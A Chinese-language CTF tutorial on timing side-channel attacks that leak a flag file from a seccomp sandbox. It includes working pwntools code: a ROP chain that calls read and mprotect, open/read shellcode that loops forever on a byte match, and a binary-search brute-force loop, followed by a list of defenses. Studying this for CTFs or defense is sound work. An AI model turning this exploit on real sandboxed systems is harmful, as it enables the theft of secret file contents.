sandbox之侧信道攻击
字数 829 2025-08-22 12:22:48

侧信道攻击(Side-channel Attack)教学文档

一、侧信道攻击概述

侧信道攻击(Side-channel Attack, SCA)是一类通过观察计算机系统的物理特性来推断内部信息的攻击手段。这些物理特性包括但不限于:

  • 耗电量
  • 时间延迟
  • 热量
  • 功率
  • 噪声

在PWN领域,侧信道攻击特指在程序没有正常回显的情况下,通过精心构造数据并观察程序的行为反馈(如错误、死循环等)来获取flag的攻击方式。

二、侧信道攻击的应用场景

典型场景

  1. 程序禁用了输出函数(如write)
  2. 沙箱采用白名单机制,只允许部分系统调用(如read、open)
  3. 需要泄露flag文件内容

攻击思路

  1. 执行shellcode打开flag文件
  2. 将flag内容读入已知内存区域
  3. 逐字节对比flag内容
    • 使用cmp指令比较
    • 匹配时进入死循环(无回显)
    • 不匹配时程序继续执行并崩溃
  4. 通过观察程序是否在一定时间内崩溃来判断字符是否正确

三、技术实现细节

1. 汇编关键指令

cmp dl, {字符}  ; 比较flag字符与猜测字符
jbe $          ; 匹配时跳转到当前地址(死循环)

2. 攻击必要条件

  1. 能够写入和执行自定义shellcode
  2. 禁用了execve系统调用且关闭了标准输出
  3. 标准错误未被关闭(用于反馈信息)
  4. 至少有一个可用的文件打开系统调用(open或openat)

3. 示例沙箱分析

void sandbox() {
    struct sock_filter filter[] = {
        {0x20,0x00,0x00,0x00000004},  // 加载架构信息
        {0x15,0x00,0x09,0xc000003e},  // 检查是否为x86_64
        {0x20,0x00,0x00,0x00000000},  // 加载系统调用号
        {0x35,0x00,0x01,0x40000000},  // 检查系统调用号范围
        {0x15,0x00,0x06,0xffffffff},  // 拒绝-1
        {0x15,0x04,0x00,0x00000000},  // 允许read(0)
        {0x15,0x03,0x00,0x00000002},  // 允许open(2)
        {0x15,0x02,0x00,0x0000000c},  // 允许brk(12)
        {0x15,0x01,0x00,0x0000000a},  // 允许mprotect(10)
        {0x15,0x00,0x01,0x00000005},  // 允许fstat(5)
        {0x06,0x00,0x00,0x7fff0000},  // 允许
        {0x06,0x00,0x00,0x00000000},  // 拒绝
    };
    
    struct sock_fprog prog = {
        .len = sizeof(filter)/sizeof(filter[0]),
        .filter = filter,
    };
    
    prctl(PR_SET_NO_NEW_PRIVS, SECCOMP_MODE_STRICT, 0LL, 0LL, 0LL);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}

四、完整攻击流程

1. 初始ROP链构造

from pwn import *
context(log_level="debug", arch="amd64", os="linux")

io = process("./pwn")
elf = ELF("./pwn")
rw_mem = 0x4C0000

payload = b"a" * 0x100
payload += b"b" * 8
payload += p64(next(elf.search(asm("pop rdi; ret;"), executable=True)))  # pop rdi; ret
payload += p64(0)  # stdin
payload += p64(next(elf.search(asm("pop rsi; ret;"), executable=True)))  # pop rsi; ret
payload += p64(rw_mem)  # 目标内存
payload += p64(elf.sym["read"])  # 调用read
payload += p64(next(elf.search(asm("pop rdi; ret;"), executable=True)))  # pop rdi; ret
payload += p64(rw_mem)  # 内存地址
payload += p64(next(elf.search(asm("pop rsi; ret;"), executable=True)))  # pop rsi; ret
payload += p64(0x1000)  # 大小
payload += p64(next(elf.search(asm("pop rdx; ret"), executable=True)))  # pop rdx; ret
payload += p64(7)  # RWX权限
payload += p64(elf.sym["mprotect"])  # 设置内存可执行
payload += p64(next(elf.search(asm("call rdi;"), executable=True)))  # 执行shellcode

2. Shellcode构造

shellcode = asm("""
    push 0x67616c66  # 'flag'字符串
    mov rdi, rsp     # 文件名指针
    xor esi, esi     # O_RDONLY
    push 2
    pop rax          # open系统调用号
    syscall          # 打开文件
    
    mov rdi, rax     # 文件描述符
    mov rsi, rsp     # 缓冲区
    mov edx, 0x100   # 读取大小
    xor eax, eax     # read系统调用号
    syscall          # 读取文件
    
    mov dl, [rsp + {}]  # 读取指定偏移
    cmp dl, {}       # 比较字符
    jbe $            # 匹配则死循环
""".format(i, c))

3. 字符爆破函数

def check(i, c):
    io = process("./pwn")
    io.sendline(payload)
    time.sleep(1)
    io.send(shellcode)
    
    try:
        io.recv(timeout=1)
        io.kill()
        return True
    except:
        io.close()
        return False

4. 主爆破循环

i = 0
flag = ""
while True:
    l = 0x20  # 可打印字符起始
    r = 0x7F  # 可打印字符结束
    
    # 二分法加速
    while l < r:
        m = (l + r) // 2
        if check(i, m):
            r = m
        else:
            l = m + 1
    
    flag += chr(l)
    log.info(flag)
    i += 1

五、防御措施

  1. 消除时间差异:确保所有执行路径的时间一致
  2. 禁用非必要系统调用:严格限制沙箱权限
  3. 随机化内存布局:增加ASLR强度
  4. 监控异常行为:检测死循环等异常状态
  5. 输入验证:严格校验输入数据格式和长度

六、总结

侧信道攻击在受限环境下是一种有效的攻击手段,特别是在:

  • 输出被禁用
  • 系统调用受限
  • 但能执行自定义代码

通过精心构造的ROP链和shellcode,结合时间侧信道分析,可以逐字节爆破出flag内容。防御此类攻击需要从多个层面进行防护,特别是消除可观测的行为差异。

侧信道攻击(Side-channel Attack)教学文档 一、侧信道攻击概述 侧信道攻击(Side-channel Attack, SCA)是一类通过观察计算机系统的 物理特性 来推断内部信息的攻击手段。这些物理特性包括但不限于: 耗电量 时间延迟 热量 功率 噪声 在PWN领域,侧信道攻击特指在程序没有正常回显的情况下,通过精心构造数据并观察程序的行为反馈(如错误、死循环等)来获取flag的攻击方式。 二、侧信道攻击的应用场景 典型场景 程序禁用了输出函数(如write) 沙箱采用白名单机制,只允许部分系统调用(如read、open) 需要泄露flag文件内容 攻击思路 执行shellcode打开flag文件 将flag内容读入已知内存区域 逐字节对比flag内容 使用cmp指令比较 匹配时进入死循环(无回显) 不匹配时程序继续执行并崩溃 通过观察程序是否在一定时间内崩溃来判断字符是否正确 三、技术实现细节 1. 汇编关键指令 2. 攻击必要条件 能够写入和执行自定义shellcode 禁用了execve系统调用且关闭了标准输出 标准错误未被关闭(用于反馈信息) 至少有一个可用的文件打开系统调用(open或openat) 3. 示例沙箱分析 四、完整攻击流程 1. 初始ROP链构造 2. Shellcode构造 3. 字符爆破函数 4. 主爆破循环 五、防御措施 消除时间差异 :确保所有执行路径的时间一致 禁用非必要系统调用 :严格限制沙箱权限 随机化内存布局 :增加ASLR强度 监控异常行为 :检测死循环等异常状态 输入验证 :严格校验输入数据格式和长度 六、总结 侧信道攻击在受限环境下是一种有效的攻击手段,特别是在: 输出被禁用 系统调用受限 但能执行自定义代码 通过精心构造的ROP链和shellcode,结合时间侧信道分析,可以逐字节爆破出flag内容。防御此类攻击需要从多个层面进行防护,特别是消除可观测的行为差异。